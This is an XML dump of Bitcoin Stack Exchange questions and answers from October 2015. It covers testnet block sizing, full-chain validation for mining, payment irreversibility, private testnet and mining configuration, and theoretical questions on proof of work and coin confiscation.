  <row Id="41089" PostTypeId="2" ParentId="38013" CreationDate="2015-10-28T14:30:53.923" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I really need to put more than 1000 transactions [in a block] to see my transactions going in different blocks&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No.  You can limit the size of the blocks you produce by changing the &lt;code&gt;-blockmaxsize&lt;/code&gt; option.  For example, if you only want to be able to add a single 250-byte transaction plus the 80-byte header and 1-byte (in this case) transaction count, you can start Bitcoin Core like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind -testnet -daemon -blockmaxsize=331&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can use the prioritisetransaction RPC to prioritize tx1 over tx2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding your second question, estimatefee and estimatepriority may not return useful results on testnet because transaction volume there is low so almost every transaction goes into the next block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may find it more useful to experiment with &lt;a href=&quot;https://bitcoin.org/en/developer-examples#regtest-mode&quot; rel=&quot;nofollow&quot;&gt;regression test mode&lt;/a&gt; which will allow you to create a private testing network and completely control every block (as well as mine blocks instantly).&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-10-28T14:30:53.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41090" PostTypeId="1" AcceptedAnswerId="41091" CreationDate="2015-10-28T14:33:55.330" Score="11" ViewCount="3445" Body="&lt;p&gt;I understand that to mine bitcoins you need the hash of the previous block, and in order to resolve possible forks. But why not just have the last 100 blocks (or more whatever is appropriate) and keep a sliding window of the last blocks?&lt;/p&gt;&#xA;" OwnerDisplayName="user30192" LastEditorUserId="5406" LastEditDate="2016-02-21T15:54:42.700" LastActivityDate="2022-12-20T19:14:16.157" Title="Why do you need the *complete* blockchain to mine bitcoins, why not just the last n blocks?" Tags="|blockchain|mining-theory|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41091" PostTypeId="2" ParentId="41090" CreationDate="2015-10-28T15:11:58.023" Score="11" Body="&lt;p&gt;To mine a &lt;em&gt;valid&lt;/em&gt; block, you need to ensure that every Bitcoin transaction in your block is valid.  Because each transaction (except for &lt;a href=&quot;https://bitcoin.org/en/glossary/coinbase-transaction&quot; rel=&quot;nofollow noreferrer&quot;&gt;coinbase transactions&lt;/a&gt;) spends the output from a previous transaction, you need to have processed every previous transaction in the blockchain.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://web.archive.org/web/20180529095549/https://bitcoin.org/img/dev/en-tx-overview.svg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://web.archive.org/web/20180529095549/https://bitcoin.org/img/dev/en-tx-overview.svg&quot; alt=&quot;Transaction output to input&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This has a couple implications:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need to download and process the whole blockchain before you can start mining (provided you only want to produce valid blocks).&lt;/li&gt;&#xA;&lt;li&gt;You can create a database of just the information you need to validate future transactions and only store that, allowing you to get rid of the rest of the blockchain data you downloaded and processed.  Bitcoin Core 0.11.0 began supporting this blockchain data pruning feature for mining with the &lt;a href=&quot;https://bitcoin.org/en/release/v0.11.0#block-file-pruning&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;-prune&lt;/code&gt; parameter&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You can outsource validation of transactions to someone else and only mine the transactions they say are valid.  This way you don't need to store any blockchain data at all.  This is what most pool miners do.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="21052" LastEditorUserId="42185" LastEditDate="2022-12-20T19:14:16.157" LastActivityDate="2022-12-20T19:14:16.157" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="41092" PostTypeId="1" CreationDate="2015-10-28T17:11:24.277" Score="1" ViewCount="228" Body="&lt;p&gt;Searching for a specific colored coin transaction on the blockchain.info block explorer yields this error:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction rejected by our node. Reason: None Standard Script Output OP_RETURN 4f410100010100&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? I thought colored tx ideas should be searchable, especially with a standard tx fee attached to it.&lt;/p&gt;&#xA;" OwnerUserId="10405" LastActivityDate="2015-10-28T17:11:24.277" Title="Blockchain.info block explorer error: Transaction rejected by our node. Reason: None Standard Script Output OP_RETURN 4f410100010100" Tags="|blockchain.info|colored-coins|blockexplorer|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41093" PostTypeId="1" CreationDate="2015-10-28T17:59:49.937" Score="5" ViewCount="1498" Body="&lt;p&gt;There have been suggestions of proof of work requirements that exclude GPUs or ASICS (or try to) but I was wondering if anyone had suggested a proof of work that is not suited to being solved by computer at all, so that the miners would be humans working on proving their own work done - work that cannot (currently) be performed by a computer in a competitive amount of time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would presumably need to be quickly verifiable by computer, but not independently solvable by computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this hasn't yet been proposed, is there any apparent reason this would not work?&lt;/p&gt;&#xA;" OwnerUserId="14410" LastActivityDate="2023-08-19T21:17:31.823" Title="Has anyone proposed a human only proof of work system?" Tags="|proof-of-work|" AnswerCount="5" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41095" PostTypeId="1" CreationDate="2015-10-28T18:27:44.973" Score="1" ViewCount="988" Body="&lt;p&gt;I have been scammed by a person and I want to dispute a bitcoin transaction.&lt;/p&gt;&#xA;" OwnerUserId="30195" LastEditorUserId="5406" LastEditDate="2015-10-29T11:19:42.127" LastActivityDate="2022-12-31T15:48:32.620" Title="I have sent a person some bitcoin. He never sent me the goods. How can I get my funds back?" Tags="|fraud|revert-transaction|chargeback|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41096" PostTypeId="2" ParentId="41095" CreationDate="2015-10-28T18:30:05.940" Score="6" Body="&lt;p&gt;Bitcoin transactions cannot be reversed unless some kind of escrow is implemented. Take this as a hard learned lesson. Sorry for your loss.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastEditorUserId="29646" LastEditDate="2015-10-28T18:36:17.610" LastActivityDate="2015-10-28T18:36:17.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41097" PostTypeId="2" ParentId="40850" CreationDate="2015-10-28T19:27:06.357" Score="1" Body="&lt;p&gt;The token in the blockchain &lt;em&gt;represents&lt;/em&gt; a physical item, the same way that a paper document may represent a contract or ownership of a house.&lt;/p&gt;&#xA;" OwnerUserId="10405" LastActivityDate="2015-10-28T19:27:06.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41098" PostTypeId="1" CreationDate="2015-10-28T20:24:57.797" Score="2" ViewCount="128" Body="&lt;p&gt;Guys i am trying to understand how does a 'transaction fee' work and 'widthrawal fee' work on all BTC Exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's simply things and assume i want to BUY BTC on an Exchange that has 0.45% fee for transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BTC Price currently is 1000$&#xA;I have 500$ meaning i would buy 0.5BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so i paid the Exchange 500$ and created an BUY Order.&#xA;Immediately in a second it was Matched with a opposite order that was:&#xA;SELL 3 BTC @ 1000$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i Got my 0.5BTC for 500$&#xA;And his order is now 2.5BTC @ 1000$&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) So do i have my 0.5BTC or it was reduced by 0.48% ?&#xA;Giving: 0.5BTC - (0.5BTC * 0.048) = 0.5 - 0.024 = 0,476BTC ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) What if my Order was partially filled (0.25BTC and 0.25BTC) - does that mean that the fee is applied to both 0.25BTC and 0.25BTC or for the Sum (0.5)&lt;/p&gt;&#xA;" OwnerUserId="22808" LastActivityDate="2015-10-28T20:24:57.797" Title="Exchange Transaction/Widthrawal Fees - i don't get it" Tags="|exchanges|buy-bitcoins|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="41099" PostTypeId="2" ParentId="41095" CreationDate="2015-10-29T00:46:56.417" Score="2" Body="&lt;p&gt;Bitcoin is designed to put you in control of your own money. While this allows you to &quot;be your own bank&quot;, it unfortunately also leaves you without the safety net present in payment services provided by the banking network. Bitcoin payments are pushed out by the paying party instead of requested by the payment receiver.&lt;br&gt;&#xA;By design, there is no central referee in the system that can perform chargebacks or mediate disputes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, you have similar options as if you had paid your business partner in cash: You can either take it up with your business partner or report them to your local authorities for defrauding you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you've made the purchase through a marketplace, the marketplace operator might offer a conflict resolution procedure.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-10-29T15:54:08.623" LastActivityDate="2015-10-29T15:54:08.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41100" PostTypeId="1" AcceptedAnswerId="108183" CreationDate="2015-10-29T01:16:56.590" Score="2" ViewCount="303" Body="&lt;p&gt;I know that there is the &lt;a href=&quot;https://wordpress.org/plugins/bitcoin-payments-for-woocommerce/&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Payments for WooCommerce&lt;/a&gt;, but it hasn't been updated in over and year and doesn't support the latest version of Electrum MPK.  It only supports Electrum 1.9.8 MPK.&lt;/p&gt;&#xA;" OwnerUserId="10805" LastActivityDate="2021-08-21T07:30:32.403" Title="Is there a working, functional, maintained way to accept bitcoins through a Wordpress site to an Electrum wallet?" Tags="|electrum|ecommerce|retail|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41101" PostTypeId="2" ParentId="41093" CreationDate="2015-10-29T01:54:57.107" Score="3" Body="&lt;p&gt;PoW needs to be hard to do but easy to verify (by a computer). There is very little left that humans are better at than computers (OCR, face and image recognition, IBM Watson [1] etc.). And probably nothing is easily computer verifiable.&lt;/p&gt;&#xA;&lt;p&gt;One example are captchas. The ones that don't get read by OCR, simply get outsourced to children in poor countries. You might say: still proof of human work, but there is no way for a computer to verify the result. On top of that captchas don't satisfy some other requirements for PoW.&lt;/p&gt;&#xA;&lt;p&gt;One such requirement is that the work is progress-free. Another: whatever the &amp;quot;puzzle&amp;quot; is, it must not be known beforehand as that would allow people to start the race early. This also implies there may not be one person or group of people that have access to the puzzles in advance as they would have to be trusted to not cheat (i.e. the system would not be trustless).&lt;/p&gt;&#xA;&lt;p&gt;[1] &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Watson_(computer)&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.m.wikipedia.org/wiki/Watson_(computer)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2023-01-21T20:20:38.450" LastActivityDate="2023-01-21T20:20:38.450" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="41102" PostTypeId="1" CreationDate="2015-10-29T02:22:23.723" Score="4" ViewCount="117" Body="&lt;p&gt;In bitcoin's gossip network will there be a path from every node to every other node? It can certainly have different number of hops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a private testnet in which I modified some source code. I get a graph like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A-&amp;gt;B-&amp;gt;C &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So we have a path from A to C but not C to A. So when C mines a block, the information is remained with it and it does not send &lt;em&gt;inv&lt;/em&gt; messages out. Not sure if I am wrong or this is expected?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only change I did is to make testnet work on my localhost. Removed the IsLocal() check from IsRoutable() and added my own hardcoded seeds.&lt;/p&gt;&#xA;" OwnerUserId="30181" LastEditorUserId="30181" LastEditDate="2015-10-30T02:19:43.887" LastActivityDate="2015-10-30T02:19:43.887" Title="In bitcoin network will there be a path from every node to every other node?" Tags="|bitcoind|protocol|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41103" PostTypeId="1" CreationDate="2015-10-29T03:48:49.793" Score="3" ViewCount="1251" Body="&lt;p&gt;I created a testnet for mining using several ports in a single machine. However I see that the source codes [CAddrInfo, CAddr] are based on IP and not IP||port. Is there an easy change to make it do mining across ports [under same IP] or this is simply not possible?&lt;/p&gt;&#xA;" OwnerUserId="29691" LastEditorUserId="5406" LastEditDate="2016-01-28T10:12:53.497" LastActivityDate="2016-01-28T10:12:53.497" Title="How to set up a private bitcoin network with mining on a single machine?" Tags="|bitcoind|testnet|port|miner-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41104" PostTypeId="2" ParentId="41086" CreationDate="2015-10-29T04:49:55.257" Score="-2" Body="&lt;p&gt;It's very difficult to know because Bitcoin addresses are hashes of the public key of a public/private key pair, and it's very difficult to guess the corresponding private key of a public key's hash. And even if you knew the private key, you'd have much difficulty finding who it's real-world owner is.&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-10-29T04:49:55.257" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="41105" PostTypeId="1" AcceptedAnswerId="41108" CreationDate="2015-10-29T11:53:16.370" Score="8" ViewCount="804" Body="&lt;p&gt;Imagine that a government seizes a large amount of bitcoins in a raid such as with &quot;Silk Road&quot;. Is it possible to invalidate those particular coins and send them back to the &quot;pool&quot; to be re-mined so that that government cannot profit from the seizure? &lt;/p&gt;&#xA;" OwnerUserId="30208" LastEditorUserId="5406" LastEditDate="2016-02-21T15:53:52.763" LastActivityDate="2016-02-21T15:53:52.763" Title="Is it possible to &quot;unmine&quot; particular coins?" Tags="|protocol|mining-reward|government|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="41106" PostTypeId="2" ParentId="41105" CreationDate="2015-10-29T13:08:56.797" Score="4" Body="&lt;p&gt;No, once they are mined they are around forever. If someone was able to delete the wallet file (and any backups) they could essentially make the coins lost though, essentially making it impossible for anyone to ever spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction fee could possibly be thought of as re-mining the coins since the miners will get payment of those coins again once the block with that transaction is mined. This is kind of a silly way of thinking of it though.&lt;/p&gt;&#xA;" OwnerUserId="29646" LastActivityDate="2015-10-29T13:08:56.797" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41107" PostTypeId="1" CreationDate="2015-10-29T14:36:23.120" Score="-1" ViewCount="1116" Body="&lt;p&gt;I am relatively new to this but do have technical abilities like overclocking, etc. Here's what I'm working with:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AMD A6 3620 APU w/Rade&lt;br&gt;&#xA;  Radeon HD 6530D&lt;br&gt;&#xA;  Driver: AMD Catalyst 15.7.1&#xA;  Win 7 64 bit Home Premium&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also installed the recommended SDK for the AMD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried both the cgminer from Kalrof and the version included in the GUIMiner -script download, and the best is around 42-43 KH/s. Tried the full GUIMiner and it was too unstable to connect on my system...it seems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Been looking around and finding people with (what seems to be) lesser graphics getting above 100, and some in the area of 200 KH/s. If I can get into the 80-100 MH/s I would be happy. So I have tried all their settings, and keep getting lower numbers than I had to start with, or the driver crashes...which brings me to the second issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I set the intensity above 16 the driver will crash. It reloads, but CGMiner stops working and has to be reloaded, too. This also happens when using xintensity above 225...and at 225 cgminer crashed after three days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played with everything I can think of, in the .conf file and through flags. Any help would be sincerely appreciated! I want to do this, but if it's gonna take 3 months to get a single litecoin then I may as well go back to writing... tongue.gif&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also: Would it be possible to use both the GPU and the APU simultaneously? I haven't found much on this subject anywhere...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a link to the complete specs on the Radeon: &lt;a href=&quot;http://www.pc-specs....on_HD_6530D/489&quot; rel=&quot;nofollow&quot;&gt;http://www.pc-specs....on_HD_6530D/489&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a look at my .bat, file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;setx GPU_MAX_ALLOC_PERCENT 100&#xA;setx GPU_USE_SYNC_OBJECTS 1&#xA;cgminer.exe --scrypt -o stratum+tcp://global.wemineltc.com:3333 -u user.worker -p pwd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;AND the CONF:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;pools&quot; : [&#xA;{&#xA;&quot;url&quot; : &quot;stratum+tcp://global.wemineltc.com:3333&quot;,&#xA;&quot;user&quot; : &quot;user/worker&quot;,&#xA;&quot;pass&quot; : &quot;pwd&quot;&#xA;},&#xA;{&#xA;&quot;url&quot; : &quot;stratum+tcp://global.wemineltc.com:3333&quot;,&#xA;&quot;user&quot; : &quot;user/worker&quot;,&#xA;&quot;pass&quot; : &quot;pwd&quot;&#xA;}&#xA;], &#xA;&quot;xintensity&quot; : &quot;330&quot;, (had to change this to 225 due to crashes after about 30 mins.)&#xA;&quot;vectors&quot; : &quot;1&quot;,&#xA;&quot;worksize&quot; : &quot;256&quot;,&#xA;&quot;lookup-gap&quot; : &quot;0&quot;,&#xA;&quot;gpu-threads&quot; : &quot;1&quot;,&#xA;&quot;thread-concurrency&quot; : &quot;0&quot;,&#xA;&quot;gpu-engine&quot; : &quot;0-0&quot;,&#xA;&quot;gpu-fan&quot; : &quot;0-85&quot;,&#xA;&quot;gpu-memclock&quot; : &quot;0&quot;,&#xA;&quot;gpu-memdiff&quot; : &quot;0&quot;,&#xA;&quot;gpu-powertune&quot; : &quot;0&quot;,&#xA;&quot;gpu-vddc&quot; : &quot;0.000&quot;,&#xA;&quot;temp-cutoff&quot; : &quot;95&quot;,&#xA;&quot;temp-overheat&quot; : &quot;85&quot;,&#xA;&quot;temp-target&quot; : &quot;75&quot;,&#xA;&quot;api-mcast-port&quot; : &quot;4028&quot;,&#xA;&quot;api-port&quot; : &quot;4028&quot;,&#xA;&quot;expiry&quot; : &quot;120&quot;,&#xA;&quot;failover-switch-delay&quot; : &quot;60&quot;,&#xA;&quot;gpu-dyninterval&quot; : &quot;10&quot;,&#xA;&quot;gpu-platform&quot; : &quot;0&quot;,&#xA;&quot;log&quot; : &quot;5&quot;,&#xA;&quot;log-dateformat&quot; : &quot;0&quot;,&#xA;&quot;no-pool-disable&quot; : true,&#xA;&quot;no-client-reconnect&quot; : true,&#xA;&quot;queue&quot; : &quot;1&quot;,&#xA;&quot;scan-time&quot; : &quot;30&quot;,&#xA;&quot;scrypt&quot; : true,&#xA;&quot;temp-hysteresis&quot; : &quot;3&quot;,&#xA;&quot;shares&quot; : &quot;0&quot;,&#xA;&quot;kernel-path&quot; : &quot;/usr/local/bin&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, THANKS for any help you can provide!&lt;/p&gt;&#xA;" OwnerUserId="30211" LastEditorUserId="2306" LastEditDate="2016-02-05T17:39:49.360" LastActivityDate="2016-02-05T17:39:49.360" Title="Trying To Get More MH/s Litecoin Mining" Tags="|litecoin|cgminer|gpu|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="41108" PostTypeId="2" ParentId="41105" CreationDate="2015-10-29T15:27:18.760" Score="9" Body="&lt;p&gt;Technically, yes it's possible to do this.  Practically, doing this would probably break everyone's trust in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of Bitcoin's &lt;a href=&quot;https://en.bitcoin.it/wiki/Prohibited_changes&quot;&gt;principle guarantees&lt;/a&gt; is that nobody can confiscate anyone else's bitcoins through the Bitcoin protocol.  This protects all of us, but it also means that we're each responsible for keeping our private keys secure.  If we fail to do that and someone---like a hacker or government agent---steals our private keys, then they also get the benefit of Bitcoin's confiscation resistance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we weaken this guarantee even once to confiscate bitcoins from the person or group we like the least, then it becomes clear that Bitcoins aren't secured by math, they're secured (or not) by the same sort of social guarantees that secure bank deposits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you or anyone else personally wants to prevent your bitcoins from falling into the wrong hands, you can use simple encryption software or &lt;a href=&quot;https://bitcoin.org/en/developer-guide#escrow-and-arbitration&quot;&gt;Bitcoin multisig&lt;/a&gt; to try to prevent anyone from getting your private keys.  Doing this in a way that is secure against &lt;a href=&quot;https://en.wikipedia.org/wiki/Rubber-hose_cryptanalysis&quot;&gt;rubber-hose cryptanalysis&lt;/a&gt; is hard, but better tools for it may become available over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;a href=&quot;https://bitcoin.org/en/developer-guide#locktime-and-sequence-number&quot;&gt;locktime transactions&lt;/a&gt; or the upcoming &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0065.mediawiki&quot;&gt;OP_CLTV opcode&lt;/a&gt;, you can even voluntarily choose to give your bitcoins to future miners if you have to delete your keys to prevent an attacker from seizing them.&lt;/p&gt;&#xA;" OwnerUserId="21052" LastActivityDate="2015-10-29T15:27:18.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41109" PostTypeId="1" CreationDate="2015-10-29T17:47:15.447" Score="2" ViewCount="479" Body="&lt;p&gt;Hello i have been running Bitcoind and Dogecoind for more than 2 month and all has been working great but today bitcoind has stopped working &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am receiving the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Warning: fopen(http://...@127.0.0.1:3333/): failed to open stream: Connection refused&#xA;Fatal error: Uncaught exception 'Exception' with message 'Unable to connect to http://bitcoin:pass@127.0.0.1:3333/' in /script/jsonRPCClient.php:140&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have disabled firewall but still am receiving the error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;daemon=1&#xA;rpcuser=user&#xA;rpcpassword=pass&#xA;rpcport=3333&#xA;port=3334&#xA;txindex=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="29646" LastEditDate="2015-10-29T20:56:25.830" LastActivityDate="2015-10-29T20:56:25.830" Title="Bitcoind stopped working" Tags="|bitcoind|json-rpc|server|" AnswerCount="0" CommentCount="7" ClosedDate="2015-12-24T09:33:32.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="41110" PostTypeId="2" ParentId="41103" CreationDate="2015-10-29T18:26:55.650" Score="3" Body="&lt;p&gt;I've had to do this, so I'll try to describe exactly what you need to do to get mining on testnet to work in a local setup. For our purposes, we'll have 2 instances of bitcoind running, the first set up to be a miner, the second as a peer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create two directories, one for the miner, the other for the peer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ mkdir 1&#xA;$ mkdir 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now create this file in the 1 directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ &amp;lt;your favorite editor&amp;gt; 1/bitcoin.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the contents of the file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testnet=1&#xA;irc=0&#xA;dnsseed=0&#xA;upnp=0&#xA;listen=1&#xA;checkpoints=0&#xA;server=1&#xA;rpcuser=test&#xA;rpcpassword=test&#xA;rpcallowip=127.0.0.1&#xA;port=20000&#xA;rpcport=20001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now go and make the same file for the 2 directory&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ &amp;lt;your favorite editor&amp;gt; 2/bitcoin.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Contents:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;testnet=1&#xA;irc=0&#xA;dnsseed=0&#xA;upnp=0&#xA;listen=0&#xA;checkpoints=0&#xA;connect=127.0.0.1:20000&#xA;rpcuser=test&#xA;rpcpassword=test&#xA;port=20010&#xA;rpcport=20011&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run the first instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind -datadir=1 -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Run the second instance:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind -datadir=2 -daemon&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can check to see if everything is up and running by using bitcoin-cli:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli -datadir=1 getinfo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Blocks should be 0 until you mine something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have mining hardware, you can now mine by connecting to 127.0.0.1:20001 with the user/pass of test/test. The actual command to connect will differ based on the mining software you use, but for bfgminer, it would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bfgminer -o http://127.0.0.1:20001 -O test:test --generate-to &amp;lt;a testnet address&amp;gt; --no-longpoll -S all&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that CPU mining takes several hours to find a block from my experience.&lt;/p&gt;&#xA;" OwnerUserId="23123" LastActivityDate="2015-10-29T18:26:55.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41112" PostTypeId="2" ParentId="8706" CreationDate="2015-10-29T19:25:39.493" Score="2" Body="&lt;p&gt;In fact they can. Somebody who could raise 20x of the entire network's computing power can rerun the transaction history from the beginning, throwing out any transactions they don't like. So long as the rest of the transactions are consistent, they should be able to gain the trunk blockchain line. This would make the entire blockchain we have been running up to this point a very large split.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3343/what-is-the-longest-blockchain-fork-that-has-been-orphaned-to-date&quot;&gt;What is the longest blockchain fork that has been orphaned to date?&lt;/a&gt; for a few details.&lt;/p&gt;&#xA;" OwnerUserId="30215" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-10-29T19:25:39.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="41113" PostTypeId="1" AcceptedAnswerId="41114" CreationDate="2015-10-29T19:27:52.203" Score="3" ViewCount="131" Body="&lt;p&gt;I've been learning a lot about bitcoin over the past couple of weeks because I have some interesting ideas for websites and I would like to accept bitcoin as payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of my concerns centers around a somewhat more advanced topic that so far I've only skimmed the surface of. And I cannot find an adequate answer to my question online. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was reading that it is possible to program simple contracts into bitcoins to ensure that the recipient must spend the coin in a specific way, or within a specific time-frame. &lt;a href=&quot;https://youtu.be/YIVAluSL9SU?t=3m30s&quot; rel=&quot;nofollow&quot;&gt;Here is simplified video&lt;/a&gt; that discusses this as a feature but does not go into the security implications of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this possibly be used to scam merchants, for instance, by returning the bit coin to the sender after a period of time, or to hold the bitcoins hostage? What tools do merchants have available to protect themselves from this type of abuse?&lt;/p&gt;&#xA;" OwnerUserId="30130" LastEditorUserId="30130" LastEditDate="2015-10-29T20:32:37.793" LastActivityDate="2015-10-30T05:04:06.797" Title="Can contracts programmed in bitcoins be used to scam merchants?" Tags="|security|script|contracts|fraud|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
